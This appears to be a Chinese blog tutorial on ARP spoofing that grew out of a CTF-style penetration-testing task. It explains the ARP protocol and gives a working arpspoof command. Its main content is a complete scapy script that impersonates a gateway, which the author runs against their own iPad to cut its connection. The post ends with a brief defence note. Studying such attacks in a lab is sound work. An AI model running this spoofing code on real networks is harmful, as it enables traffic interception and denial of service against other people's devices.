ARP攻击python实现

1. 前言

代码参考:https://github.com/byt3bl33d3r/arpspoof/blob/master/arpspoof/arpspoof.py
题目描述:
任务三:网络协议堆栈渗透测试
任务环境说明:

  • 服务器场景:WindowsServer18065
  • 服务器场景操作系统:Windows2003 Server
  • 服务器场景FTP下载服务用户名:anonymous,密码:123456
  • 服务器场景FTP下载服务端口:2121

描述:通过物理机的ping程序访问靶机,成功访问后,在攻击机中使用arpspoof程序对物理机进行ARP渗透测试,对物理机进行ARP缓存毒化为:靶机IP地址映射攻击机MAC地址;

  • 从靶机服务器场景的FTP服务器中下载文件arpspoof.py,编辑该Python3程序文件,使该程序实现上述描述任务的功能,填写该文件当中空缺的F1字符串,将该字符串作为Flag值提交;

后面的描述类似,这里省略,由于手上并没有题目的源文件,倒是有答案。
题目的答案为(对等号左边的名字稍作修改):
在这里插入图片描述

spoofp = ethernet/arp #表示协议为arp
ftуре=0x806 #表示之后的数据属于arp
hwtype=0x1 #表示硬件类型,默认为1
ptype=0x800 #表示上层协议类型,上层协议为IP时,该项为0x800
op=2 # 2表示arp应答,1表示arp请求
可以学习一下arp攻击的脚本如何编写的。

2. ARP协议(Address Resolution Protocol,地址解析协议)

  • 运行在网络层,是一个根据IP地址获取物理地址的一个TCP/IP协议
  • ARP请求采用广播方式,应答采用单播方式

2.1 工作流程

①主机A发出广播报文,询问主机B的IP地址与MAC地址的映射关系;
②所有主机都接收到这个请求;
③主机B识别请求信息,向主机A发送响应报文,回答主机B的IP地址与物理地址的映射关系:
④主机A得到映射信息。

3. ARP攻击

  • 核心思想:
    向目标主机发送伪造的ARP应答,并使目标主机接收应答中伪造的IP地址与MAC地址之间的映射对,以此更新目标主机ARP缓存

  • 攻击者可以发送伪造的信息给局域网中受害主机,该信息中包含局域网网关的IP地址和主机的MAC地址(直白的说,就是告诉受害主机,我才是网关,你要发数据就发给我吧)。

  • 攻击的原理:
    1.我们发向受害者的ARP请求,受害者这边会产生ARP缓存
    2.我们发出的ARP请求后,收到应答时会产生一个ARP缓存

4.实践

4.1 先用别人的脚本

在家里的局域网就可以完成实验,我一般喜欢用自己的手机或者平板电脑来实验。下载脚本
https://github.com/byt3bl33d3r/arpspoof
命令:
sudo python arpspoof.py -i en0 -t target-ip gateway-ip
其中-i表示我的网卡,-t表示受害者主机ip,gateway表示我们的路由器
如果目标ip(比如自己的手机)断网了,你就成功了

4.2 自己编写

4.2.1 scapy模块

scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具。
python3 下安装这个模块pip3 install scapy

4.2.2 scapy模块的使用

构造一个IP数据包
在这里插入图片描述
构造指定数据

>>> a = IP(dst='233.233.233.233')
>>> a.show()
###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = ip
  chksum    = None
  src       = 192.168.31.246
  dst       = 233.233.233.233
  \options   \
4.2.3 构造ARP协议格式的数据

在这里插入图片描述

  1. 硬件类型:表示ARP报文可以在哪种类型的网络上传输,值为1时表示为以太网地址。
  2. 上层协议类型:表示硬件地址要映射的协议地址类型,映射IP地址时的值为0x0800
  3. MAC地址长度:标识MAC地址长度,以字节为单位,此处为6。
  4. IP协议地址长度:标识IP得知长度,以字节为单位,此处为4。
  5. 操作类型:指定本次ARP报文类型。1标识ARP请求报文,2标识ARP应答报文。

我们使用scapy来看看,可以照着图片一一对号入座

>>> from scapy.all import ARP
>>> a = ARP()
>>> a.show()
###[ ARP ]###
  hwtype    = 0x1
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = who-has
  hwsrc     = f8:ff:c2:25:84:25
  psrc      = 192.168.31.246
  hwdst     = 00:00:00:00:00:00
  pdst      = 0.0.0.0
>>> print(a)
b'\x00\x01\x08\x00\x06\x04\x00\x01\xf8\xff\xc2%\x84%\xc0\xa8\x1f\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
4.2.4 代码

我ipad的ip地址为192.168.31.152
我路由器的地址为192.168.31.1
现在我想让ipad断网!

#coding=utf-8
import os,sys
from scapy.all import (
  ARP,
  Ether,
  sendp,
  getmacbyip,
  get_if_hwaddr
)
import signal
def build_packet(TargetIp, GateWayAddr):
    print("[-] Obtaining mac from {}".format(TargetIp)) #打印信息
    TargetMacAddr = None
    while not TargetMacAddr:
        TargetMacAddr = getmacbyip(TargetIp) #获得ipad的mac地址
    MyMacAddr = get_if_hwaddr("en0") #获得我们网卡的mac地址
    pkt = Ether(src=MyMacAddr, dst=TargetMacAddr) / ARP(hwsrc=MyMacAddr, psrc=GateWayAddr, hwdst=TargetMacAddr, pdst=TargetIp)
    pkt.show()
    print(pkt)
    return pkt

def stop(signal,frame):
    sys.exit(0)
if __name__ == '__main__':
    TargetIp = "192.168.31.152" #我ipad联网之后分配的ip
    GateWayAddr = "192.168.31.1" #路由器地址/网关地址
    signal.signal(signal.SIGINT, stop)
    packet = build_packet(TargetIp, GateWayAddr)
    while True:
        sendp(packet, inter=2, iface="en0") #inter表示发送包的间隔,iface表示我们的网卡

代码中的斜杠/是scapy的语法,它可以将多种类型的数据拼接起来
运行结果如下,断网成功
在这里插入图片描述
这样的话,受害者主机就会把原本应该交给路由器的数据交给我们,至此,完成了arp攻击。
注意到我画红框的地方,这是帧类型,0806指的是后面的数据是属于arp包。
在这里插入图片描述
值得一提的是,airdrop正常工作。

5.预防

ip-mac静态绑定,在路由器的管理界面里指定即可。

  • 2
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值